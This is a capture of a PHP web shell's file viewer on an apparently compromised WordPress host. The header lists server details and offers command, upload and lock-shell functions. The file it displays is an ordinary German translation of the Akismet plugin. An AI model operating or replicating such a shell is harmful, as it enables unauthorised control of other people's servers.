gzuncompress
|
Server IP : 172.19.0.3 / Your IP : 216.73.216.178 Web Server : Apache/2.4 System : Linux 880f91b28fd7 5.15.0-117-generic #127~20.04.1-Ubuntu SMP Thu Jul 11 15:36:12 UTC 2024 x86_64 User : tomlinde ( 155017) PHP Version : 5.6.40 Disable Function : dl, syslog, opcache_get_status MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/webpages/lima-city/tomlinde/html/biblog/wp-content/languages/plugins/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] | [ Lock Shell ] | [ Logout ] |
|---|
# Translation of Development in German # This file is distributed under the same license as the Development package. msgid "" msgstr "" "PO-Revision-Date: 2014-08-21 08:24:53+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/0.1\n" "Project-Id-Version: Development\n" #: views/config.php:97 msgid "Spam in the <a href=\"%s\">spam folder</a> older than 1 day is deleted automatically." msgid_plural "Spam in the <a href=\"%1$s\">spam folder</a> older than %2$d days is deleted automatically." msgstr[0] "" msgstr[1] "" #: class.akismet-admin.php:700 msgid "Please check your <a href=\"%s\">Akismet configuration</a> and contact your web host if problems persist." msgstr "Bitte überprüfe deine <a href=\"%s\">Akismet-Konfiguration</a> und kontaktiere deinen Webhoster, wenn die Probleme bestehen bleiben." #: views/notice.php:21 msgid "Some comments have not yet been checked for spam by Akismet. They have been temporarily held for moderation and will automatically be rechecked later." msgstr "Einige Kommentare wurden nicht durch Akismet auf Spam überprüft. Sie wurden temporär in die Moderation eingereiht und werden automatisch später nachgeprüft." #: views/notice.php:43 msgid "Your web host or server administrator has disabled PHP’s <code>gethostbynamel</code> functions. <strong>Akismet cannot work correctly until this is fixed.</strong> Please contact your web host or firewall administrator and give them <a href=\"%s\" target=\"_blank\">this information about Akismet’s system requirements</a>." msgstr "Dein Webhoster oder Server-Administrator hat die <code>gethostbynamel</code>-Funktionen von PHP deaktiviert. <strong>Akismet kann nicht korrekt funktionieren bis dies korrigiert wurde.</strong> Bitte kontaktiere deinen Webhoster oder Firewall-Administrator und gib ihm <a href=\"%s\" target=\"_blank\">diese Informationen über die Systemvoraussetzungen von Akismet</a>." #: views/start.php:77 msgid "Activate Akismet" msgstr "Aktiviere Akismet" #: views/start.php:64 views/start.php:85 msgid "If you already know your API key." msgstr "Wenn du bereits deinen API Schlüssel kennst." #: views/start.php:78 msgid "Log in or create an account to get your API key." msgstr "Melde dich an oder erstelle ein Konto um deinen API Schlüssel zu erhalten." #: views/start.php:80 msgid "Get your API key" msgstr "Hol dir deinen API Schlüssel" #: views/start.php:22 msgid "Your subscription for %s is cancelled" msgstr "Dein Abonnement für %s wurde abgebrochen" #: views/start.php:28 msgid "Reactivate Akismet" msgstr "Reaktiviere Akismet" #: views/config.php:152 msgid "Cancelled" msgstr "Annulliert" #: views/config.php:154 msgid "Suspended" msgstr "Suspendiert" #: views/config.php:156 msgid "Missing" msgstr "Fehlend" #: views/config.php:158 msgid "No Subscription Found" msgstr "Kein Abonnement gefunden" #: views/config.php:160 msgid "Active" msgstr "Aktiv" #: views/notice.php:72 msgid "There is a problem with your key." msgstr "Es gibt ein Problem mit deinem Schlüssel." #: views/notice.php:78 msgid "Since 2012, Akismet began using subscriptions for all accounts (even free ones). It looks like a subscription has not been assigned to your account, and we’d appreciate it if you’d <a href=\"%s\" target=\"_blank\">sign into your account</a> and choose one. Please <a href=\"%s\" target=\"_blank\">contact our support team</a> with any questions." msgstr "Seit 2012 begann Akismet damit, Abonnements für alle Benutzerkonten einzuführen, auch für kostenlose Abonnements. Es scheint so, als wäre deinem Benutzerkonto noch kein Abonnement zugeordnet. Wir würden es sehr schätzen, wenn du dich <a href=\"%s\" target=\"_blank\">bei deinem Akismet-Benutzerkonto anmeldest</a> und deine Webseite entsprechend zuordnest. Bitte <a href=\"%s\" target=\"_blank\">kontaktiere unser Support-Team (engl.)</a> bei etwaigen Fragen." #: class.akismet-admin.php:196 views/config.php:84 msgid "Strictness" msgstr "Genauigkeit" #: class.akismet-admin.php:196 msgid "Choose to either discard the worst spam automatically or to always put all spam in spam folder." msgstr "Wähle aus, ob der schlimmste Spam automatisch gelöscht wird oder immer in den Spam-Ordner kommen soll." #: views/config.php:88 msgid "Silently discard the worst and most pervasive spam so I never see it." msgstr "Den ganzen Spam-Kram still und leise im Hintergrund entsorgen, damit ich diesen nie sehen muss." #: views/config.php:89 msgid "Always put spam in the Spam folder for review." msgstr "Lege den Spam immer in den Spam-Ordner zur Überprüfung." #: class.akismet-admin.php:195 views/config.php:75 msgid "Comments" msgstr "Kommentare" #: views/notice.php:77 msgid "Your subscription is missing." msgstr "Dein Abonnement fehlt." #: views/notice.php:95 msgid "You're using your Akismet key on more sites than your Pro subscription allows." msgstr "Du benutzt deinen Akismet-Schlüssel auf mehr Seiten, als es dein Pro-Abonnement erlaubt." #: views/notice.php:96 msgid "If you would like to use Akismet on more than 10 sites, you will need to <a href=\"%s\" target=\"_blank\">upgrade to an Enterprise subscription</a>. If you have any questions, please <a href=\"%s\" target=\"_blank\">get in touch with our support team</a>" msgstr "Wenn du Akismet auf mehr als 10 Seiten verwenden möchtest, musst du zu einem <a href=\"%s\" target=\"_blank\">Enterprise-Abonnement upgraden</a>. Wenn du Fragen hast, <a href=\"%s\" target=\"_blank\">nimm Kontakt mit unserem Support-Team auf.</a>" #: views/notice.php:98 msgid "You're using Akismet on far too many sites for your Pro subscription." msgstr "Du benutzt Akismet auf viel zu vielen Seiten, für dein Pro-Abonnement." #: views/notice.php:99 msgid "To continue your service, <a href=\"%s\" target=\"_blank\">upgrade to an Enterprise subscription</a>, which covers an unlimited number of sites. Please <a href=\"%s\" target=\"_blank\">contact our support team</a> with any questions." msgstr "Um den Service weiter zu benutzen, <a href=\"%s\" target=\"_blank\"> musst du zu einem Enterprise-Abonnement upgraden </a>, welches eine unbegrenzte Anzahl von Seiten umfasst. Bitte kontaktiere <a href=\"%s\" target=\"_blank\"> unser Support-Team </a> bei Fragen." #: views/notice.php:20 msgid "Akismet has detected a problem." msgstr "Akismet hat ein Problem festgestellt." #: views/notice.php:27 msgid "Akismet %s requires WordPress 3.0 or higher." msgstr "Akismet %s benötigt WordPress 3.0 oder höher." #: views/notice.php:30 msgid "Akismet Error Code: %s" msgstr "Akismet Fehler-Code: %s" #. translators: the placeholder is a clickable URL that leads to more #. information regarding an error code. #: views/notice.php:35 msgid "For more information: %s" msgstr "Für weitere Informationen: %s" #: views/notice.php:42 msgid "Network functions are disabled." msgstr "Netzwerkfunktionen sind deaktiviert." #: views/notice.php:47 msgid "We can’t connect to your site." msgstr "Wir können uns nicht mit deiner Website verbinden." #: views/notice.php:48 msgid "Your firewall may be blocking us. Please contact your host and refer to <a href=\"%s\" target=\"_blank\">our guide about firewalls</a>." msgstr "Deine Firewall blockiert uns. Bitte kontaktier deinen Hoster oder lese <a href=\"%s\" target=\"_blank\">unser Handbuch zu Firewalls</a>." #: views/notice.php:52 msgid "Please update your payment details." msgstr "Bitte aktualisiere deine Zahlungsdaten." #: views/notice.php:53 msgid "We cannot process your transaction. Please contact your bank for assistance, and <a href=\"%s\" target=\"_blank\">update your payment details</a>." msgstr "Wir können deine Transaktion nicht verarbeiten. Bitte kontaktiere deine Bank, um Unterstützung zu erhalten und <a href=\"%s\" target=\"_blank\">aktualisieren deine Zahlungsdaten </a>." #: views/notice.php:57 msgid "Your subscription is cancelled." msgstr "Dein Abonnement wurde beendet." #: views/notice.php:58 msgid "Please visit the <a href=\"%s\" target=\"_blank\">Akismet account page</a> to reactivate your subscription." msgstr "Bitte besuche die <a href=\"%s\" target=\"_blank\">Akismet-Konto-Seite</a>, um dein Abonnement zu aktivieren." #: views/notice.php:62 msgid "Your subscription is suspended." msgstr "Dein Abonnement wird ausgesetzt." #: views/notice.php:63 views/notice.php:73 msgid "Please contact <a href=\"%s\" target=\"_blank\">Akismet support</a> for assistance." msgstr "Bitte kontaktiere den <a href=\"%s\" target=\"_blank\">Akismet Support</a>, um Unterstützung zu erhalten." #: views/notice.php:68 msgid "You can help us fight spam and upgrade your account by <a href=\"%s\" target=\"_blank\">contributing a token amount</a>." msgstr "Du kannst uns bei der Spam-Bekämpfung helfen und dein Konto upgraden mit einer <a href=\"%s\" target=\"_blank\">Spende eines symbolischen Betrags</a>." #: views/notice.php:82 msgid "Your Akismet account has been successfully set up and activated. Happy blogging!" msgstr "Dein Akismet-Konto wurde erfolgreich eingerichtet und aktiviert. Viel Spaß beim Bloggen!" #: views/notice.php:86 msgid "The key you entered is invalid. Please double-check it." msgstr "Der Schlüssel, den du eingegeben hast ist ungültig. Überprüfe ihn bitte." #: views/notice.php:90 msgid "The key you entered could not be verified because a connection to akismet.com could not be established. Please check your server configuration." msgstr "Der Schlüssel, den du eingegeben hast, konnte nicht verifiziert werden, da keine Verbindung zu akismet.com aufgebaut werden konnte. Bitte überprüfe die Konfiguration deines Servers." #: views/start.php:40 views/start.php:74 msgid "Akismet eliminates the comment and trackback spam you get on your site. To setup Akismet, select one of the options below." msgstr "Akismet beseitigt den Kommentar-und Trackback Spam auf deiner Seite. Zur Einrichtung von Akismet, wählen Sie eine der folgenden Optionen." #: views/start.php:7 views/start.php:21 views/start.php:34 views/start.php:43 msgid "Connected via Jetpack" msgstr "Verbunden mit Jetpack" #: views/start.php:50 msgid "Use this Akismet account" msgstr "Dieses Akismet-Konto verwenden" #: views/start.php:56 msgid "Create a new API key with a different email address" msgstr "Erstelle einen neuen API-Schlüssel mit einer anderen E-Mail-Adresse" #: views/start.php:57 msgid "Use this option if you want to setup a new Akismet account." msgstr "Verwende diese Option, wenn du ein neues Akismet-Konto einrichten möchtest." #: views/start.php:59 msgid "Register a different email address" msgstr "Registriere eine andere E-Mail-Adresse" #: views/start.php:63 views/start.php:84 msgid "Manually enter an API key" msgstr "Gebe manuell einen API-Schlüssel ein" #: views/start.php:70 views/start.php:91 msgid "Use this key" msgstr "Benutze diesen Schlüssel" #: views/start.php:4 msgid "Akismet eliminates the comment and trackback spam you get on your site. Register your email address below to get started." msgstr "Akismet beseitigt den Kommentar-und Trackback Spam auf deiner Website. Registriere dich einfach mit deiner E-Mail-Adresse um loszulegen." #: views/start.php:14 msgid "Register Akismet" msgstr "Registriere Akismet" #: views/start.php:18 views/start.php:32 msgid "Akismet eliminates the comment and trackback spam you get on your site." msgstr "Akismet beseitigt den Kommentar-und Trackback Spam auf deiner Website." #: views/start.php:35 msgid "Your subscription for %s is suspended" msgstr "Dein Abonnement für %s wird ausgesetzt" #: views/start.php:36 msgid "No worries! Get in touch and we’ll help sort this out." msgstr "Keine Sorge! Nehme einfach Kontakt auf, wir wissen wie wir dir helfen können." #: views/start.php:37 msgid "Contact Akismet support" msgstr "Kontaktiere den Akismet Support" #: views/config.php:87 views/strict.php:2 views/strict.php:3 msgid "Akismet anti-spam strictness" msgstr "Akismet Anti-Spam-Genauigkeit" #: views/strict.php:4 msgid "Strict: silently discard the worst and most pervasive spam." msgstr "Strikt: stillschweigend den schlimmsten und dem am weitesten verbreiteten Spam löschen." #: views/strict.php:5 msgid "Safe: always put spam in the Spam folder for review." msgstr "Sicher: Spam immer in den Spam-Ordner legen zum Überprüfen." #: class.akismet-admin.php:53 msgid "Comment History" msgstr "Kommentarverlauf" #: class.akismet-admin.php:76 class.akismet-admin.php:78 #: class.akismet-admin.php:757 views/config.php:3 msgid "Akismet" msgstr "Akismet" #: class.akismet-admin.php:104 msgid "Remove this URL" msgstr "Diese Web-Adresse entfernen" #: class.akismet-admin.php:105 msgid "Removing..." msgstr "Entferne …" #: class.akismet-admin.php:106 msgid "URL removed" msgstr "Web-Adresse entfernt" #: class.akismet-admin.php:107 msgid "(undo)" msgstr "(rückgängig)" #: class.akismet-admin.php:108 msgid "Re-adding..." msgstr "Wieder-Einfügen …" #: class.akismet-admin.php:129 class.akismet-admin.php:167 #: class.akismet-admin.php:180 msgid "Overview" msgstr "Überblick" #: class.akismet-admin.php:131 class.akismet-admin.php:142 #: class.akismet-admin.php:153 msgid "Akismet Setup" msgstr "Akismet-Einstellungen" #: class.akismet-admin.php:132 class.akismet-admin.php:170 #: class.akismet-admin.php:183 msgid "Akismet filters out your comment and trackback spam for you, so you can focus on more important things." msgstr "Akismet filtert für Dich Spam-Kommentare und -Trackbacks heraus, damit Du Dich auf wichtigere Dinge konzentrieren kannst." #: class.akismet-admin.php:133 msgid "On this page, you are able to setup the Akismet plugin." msgstr "Auf dieser Seite kannst Du das Akismet Plugin konfigurieren." #: class.akismet-admin.php:140 msgid "New to Akismet" msgstr "Neu bei Akismet" #: class.akismet-admin.php:143 msgid "You need to enter an API key to activate the Akismet service on your site." msgstr "Du musst einen API-Schlüssel eingeben, um Akismet auf Deiner Website zu aktivieren." #: class.akismet-admin.php:144 msgid "Signup for an account on %s to get an API Key." msgstr "Registriere Dich auf %s um einen API-Schlüssel zu erhalten." #: class.akismet-admin.php:151 msgid "Enter an API Key" msgstr "Gib einen API-Schlüssel ein" #: class.akismet-admin.php:154 msgid "If you already have an API key" msgstr "Wenn Du bereits einen API Schlüssel hast" #: class.akismet-admin.php:156 msgid "Copy and paste the API key into the text field." msgstr "Kopiere den API-Schlüssel und füge ihn in das Text-Feld ein." #: class.akismet-admin.php:157 msgid "Click the Use this Key button." msgstr "Drücke die Schaltfläche Nutze diesen Schlüssel. " #: class.akismet-admin.php:169 views/stats.php:2 msgid "Akismet Stats" msgstr "Akismet-Statistiken" #: class.akismet-admin.php:171 msgid "On this page, you are able to view stats on spam filtered on your site." msgstr "Auf dieser Seite kannst Du einer Statistiken entnehmen, wie viel Spam auf Deiner Website ausgefiltert wurde." #: class.akismet-admin.php:182 class.akismet-admin.php:193 #: class.akismet-admin.php:205 msgid "Akismet Configuration" msgstr "Akismet-Konfiguration" #: class.akismet-admin.php:184 msgid "On this page, you are able to enter/remove an API key, view account information and view spam stats." msgstr "Auf dieser Seite kannst Du einen API-Schlüssel eingeben/entfernen, Konto-Informationen abrufen und eine Spam-Statistik anschauen." #: class.akismet-admin.php:69 class.akismet-admin.php:191 #: class.akismet-admin.php:508 views/config.php:60 views/stats.php:2 msgid "Settings" msgstr "Einstellungen" #: class.akismet-admin.php:194 views/config.php:67 msgid "API Key" msgstr "API-Schlüssel" #: class.akismet-admin.php:194 msgid "Enter/remove an API key." msgstr "API-Schlüssel hinzufügen/entfernen." #: views/config.php:79 msgid "Show the number of approved comments beside each comment author" msgstr "Zeige neben jedem Kommentar-Autoren die Anzahl der zugelassenen Kommentare." #: class.akismet-admin.php:195 msgid "Show the number of approved comments beside each comment author in the comments list page." msgstr "Zeige auf der Seite mit den Kommentar-Listen neben jedem Kommentar-Autoren die Anzahl der zugelassenen Kommentare." #: class.akismet-admin.php:203 views/config.php:135 msgid "Account" msgstr "Konto" #: class.akismet-admin.php:206 views/config.php:140 msgid "Subscription Type" msgstr "Abonnement-Art" #: class.akismet-admin.php:206 msgid "The Akismet subscription plan" msgstr "Das Akismet-Abonnement" #: class.akismet-admin.php:207 views/config.php:147 msgid "Status" msgstr "Status" #: class.akismet-admin.php:207 msgid "The subscription status - active, cancelled or suspended" msgstr "Der Abonnement-Status – aktiv, abgelaufen oder unterbrochen" #: class.akismet-admin.php:215 msgid "For more information:" msgstr "Weitere Informationen:" #: class.akismet-admin.php:216 msgid "Akismet FAQ" msgstr "Akismet FAQ" #: class.akismet-admin.php:217 msgid "Akismet Support" msgstr "Akismet Support" #: class.akismet-admin.php:223 msgid "Cheatin’ uh?" msgstr "Nicht mogeln!" #: class.akismet-admin.php:282 msgctxt "comments" msgid "Spam" msgstr "Spam" #: class.akismet-admin.php:284 msgid "<a href=\"%1$s\">Akismet</a> has protected your site from <a href=\"%2$s\">%3$s spam comment</a>." msgid_plural "<a href=\"%1$s\">Akismet</a> has protected your site from <a href=\"%2$s\">%3$s spam comments</a>." msgstr[0] "<a href=\"%1$s\">Akismet</a> hat Deine Website vor <a href=\"%2$s\">%3$s Spam-Kommentar</a> geschützt." msgstr[1] "<a href=\"%1$s\">Akismet</a> hat Deine Website vor <a href=\"%2$s\">%3$s Spam-Kommentaren</a> geschützt." #: class.akismet-admin.php:303 msgid "<a href=\"%1$s\">Akismet</a> has protected your site from %2$s spam comment already. " msgid_plural "<a href=\"%1$s\">Akismet</a> has protected your site from %2$s spam comments already. " msgstr[0] "<a href=\"%1$s\">Akismet</a> hat deine Seite bereits vor %2$s Spam-Kommentar bewahrt." msgstr[1] "<a href=\"%1$s\">Akismet</a> hat deine Seite bereits vor %2$s Spam-Kommentaren bewahrt." #: class.akismet-admin.php:309 msgid "<a href=\"%s\">Akismet</a> blocks spam from getting to your blog. " msgstr "<a href=\"%s\">Akismet</a> sorgt dafür, dass kein Spam in Deinen Blog gelangt." #: class.akismet-admin.php:314 msgid "There’s <a href=\"%2$s\">%1$s comment</a> in your spam queue right now." msgid_plural "There are <a href=\"%2$s\">%1$s comments</a> in your spam queue right now." msgstr[0] "In deiner Spam-Warteliste gibt es gerade <a href=\"%2$s\">%1$s Kommentar</a>." msgstr[1] "In deiner Spam-Warteliste gibt es gerade <a href=\"%2$s\">%1$s Kommentare</a>." #: class.akismet-admin.php:320 msgid "There’s nothing in your <a href='%s'>spam queue</a> at the moment." msgstr "Es gibt im Moment keinen Eintrag in Deiner <a href='%s'>Spam-Liste</a>." #: class.akismet-admin.php:340 msgid "Check for Spam" msgstr "Auf Spam prüfen" #: class.akismet.php:442 msgid "%1$s changed the comment status to %2$s" msgstr "%1$s hat den Kommentar-Status in %2$s geändert" #: class.akismet-admin.php:382 msgid "Akismet re-checked and caught this comment as spam" msgstr "Akismet hat diesen Kommentar erneut überprüft und als Spam eingestuft" #: class.akismet-admin.php:388 msgid "Akismet re-checked and cleared this comment" msgstr "Akismet hat diesen Kommentar erneut überprüft und keinen Spam erkannt" #: class.akismet-admin.php:392 msgid "Akismet was unable to re-check this comment (response: %s)" msgstr "Akismet war es nicht möglich, diesen Kommentar erneut zu überprüfen. (Antwort: %s)" #: class.akismet-admin.php:446 msgid "Awaiting spam check" msgstr "Warten auf Spam-Prüfung" #: class.akismet-admin.php:450 msgid "Flagged as spam by Akismet" msgstr "Als Spam markiert durch Akismet" #: class.akismet-admin.php:452 msgid "Cleared by Akismet" msgstr "Gesäubert durch Akismet" #: class.akismet-admin.php:456 msgid "Flagged as spam by %s" msgstr "Als Spam markiert von %s" #: class.akismet-admin.php:458 msgid "Un-spammed by %s" msgstr "Als spamfrei markiert von %s" #: class.akismet-admin.php:470 class.akismet-admin.php:478 msgid "View comment history" msgstr "Bearbeitungshistorie ansehen" #: class.akismet-admin.php:470 msgid "History" msgstr "Verlauf" #: class.akismet-admin.php:486 msgid "%s approved" msgid_plural "%s approved" msgstr[0] "%s Genehmigt" msgstr[1] "%s Genehmigte" #: class.akismet-admin.php:499 msgid "%s ago" msgstr "vor %s" #: class.akismet.php:487 msgid "%s reported this comment as spam" msgstr "%s hat angegeben, dass dieser Kommentar Spam ist" #: class.akismet.php:533 msgid "%s reported this comment as not spam" msgstr "%s hat angegeben, dass dieser Kommentar kein Spam enthält" #: class.akismet-admin.php:787 msgid "Cleaning up spam takes time." msgstr "Spam aussortieren braucht Zeit." #: class.akismet-admin.php:790 msgid "Since you joined us, Akismet has saved you %s days!" msgstr "Seit Du beigetreten bist, hat Dir Akismet %s Tage erspart!" #: class.akismet-admin.php:792 msgid "Since you joined us, Akismet has saved you %d hours!" msgstr "Seit Du beigetreten bist, hat Dir Akismet %d Stunden erspart!" #: class.akismet-admin.php:794 msgid "Since you joined us, Akismet has saved you %d minutes!" msgstr "Seit Du beigetreten bist, hat Dir Akismet %d Minuten erspart!" #: class.akismet-widget.php:12 msgid "Akismet Widget" msgstr "Akismet-Widget" #: class.akismet-widget.php:13 msgid "Display the number of spam comments Akismet has caught" msgstr "Zeige die Anzahl der Spamkommentare, die Akismet blockiert hat." #: class.akismet-widget.php:69 msgid "Spam Blocked" msgstr "Spam wurde blockiert" #: class.akismet-widget.php:74 msgid "Title:" msgstr "Titel:" #: class.akismet-widget.php:98 msgid "<strong class=\"count\">%1$s spam</strong> blocked by <strong>Akismet</strong>" msgid_plural "<strong class=\"count\">%1$s spam</strong> blocked by <strong>Akismet</strong>" msgstr[0] "<strong class=\"count\">%1$s Spam</strong> blockiert von <strong>Akismet</strong>" msgstr[1] "<strong class=\"count\">%1$s Spam</strong> blockiert von <strong>Akismet</strong>" #: class.akismet.php:227 msgid "Akismet caught this comment as spam" msgstr "Akismet hat diesen Kommentar als Spam erkannt" #: class.akismet.php:229 class.akismet.php:238 msgid "Comment status was changed to %s" msgstr "Kommentarstatus wurde geändert zu %s" #: class.akismet.php:233 msgid "Akismet cleared this comment" msgstr "Akismet hat diesen Kommentar blockiert" #: class.akismet.php:236 msgid "Comment was caught by wp_blacklist_check" msgstr "Kommentar wurde als Spam markiert, da er einen Begriff aus der Kommentar-Blacklist enthält." #: class.akismet.php:243 msgid "Akismet was unable to check this comment (response: %s), will automatically retry again later." msgstr "Akismet war es nicht möglich, diesen Kommentar zu überprüfen (Antwort: %s). Akismet wird später eine erneute Überprüfung durchführen." #: class.akismet.php:573 msgid "Akismet caught this comment as spam during an automatic retry." msgstr "Akismet hat diesen Kommentar durch eine erneute Überprüfung als Spam erkannt." #: class.akismet.php:575 msgid "Akismet cleared this comment during an automatic retry." msgstr "Akismet hat diesen Kommentar durch eine erneute Überprüfung als frei von Spam erkannt. " #: class.akismet.php:923 msgid "Akismet %s requires WordPress %s or higher." msgstr "Akismet %s benötigt WordPress %s oder höher." #: class.akismet.php:923 views/notice.php:27 msgid "Please <a href=\"%1$s\">upgrade WordPress</a> to a current version, or <a href=\"%2$s\">downgrade to version 2.4 of the Akismet plugin</a>." msgstr "Bitte <a href=\"%1$s\">aktualisiere WordPress</a> auf eine aktuelle Version oder führe ein <a href=\"%2$s\">Downgrade auf Version 2.4 des Akismet-Plugins</a> durch." #: views/config.php:12 msgid "Summaries" msgstr "Zusammenfassungen" #: views/config.php:18 msgid "Past six months" msgstr "Letzte sechs Monate" #: views/config.php:20 views/config.php:25 msgid "Spam blocked" msgstr "Spam abgewehrt" #: views/config.php:23 msgid "All time" msgstr "Gesamte Zeit" #: views/config.php:28 msgid "Accuracy" msgstr "Genauigkeit" #: views/config.php:32 msgid "%s missed spam, %s false positive" msgid_plural "%s missed spam, %s false positives" msgstr[0] "%s Spam verfehlt, %s falsch positiver" msgstr[1] "%s Spam verfehlt, %s falsch positive" #: views/config.php:79 msgid "Show approved comments" msgstr "Genehmigte Kommentare anzeigen" #: views/config.php:91 msgid "Note:" msgstr "Hinweis: " #: views/config.php:116 msgid "Disconnect this account" msgstr "Dieses Konto abkoppeln" #: views/config.php:122 msgid "Save Changes" msgstr "Änderungen speichern" #: views/config.php:166 msgid "Next Billing Date" msgstr "Nächstes Rechnungs-Datum" #: views/config.php:178 msgid "Upgrade" msgstr "Aktualisierung" #: views/config.php:178 msgid "Change" msgstr "Ändern" #: views/notice.php:11 msgid "Activate your Akismet account" msgstr "Aktiviere dein Akismet-Konto" #: views/notice.php:14 msgid "<strong>Almost done</strong> - activate your account and say goodbye to comment spam" msgstr "<strong>Fast geschafft</strong> – aktiviere Dein Benutzerkonto und sage „Auf Nimmer-Wiedersehen“ zu Kommentar-Spam"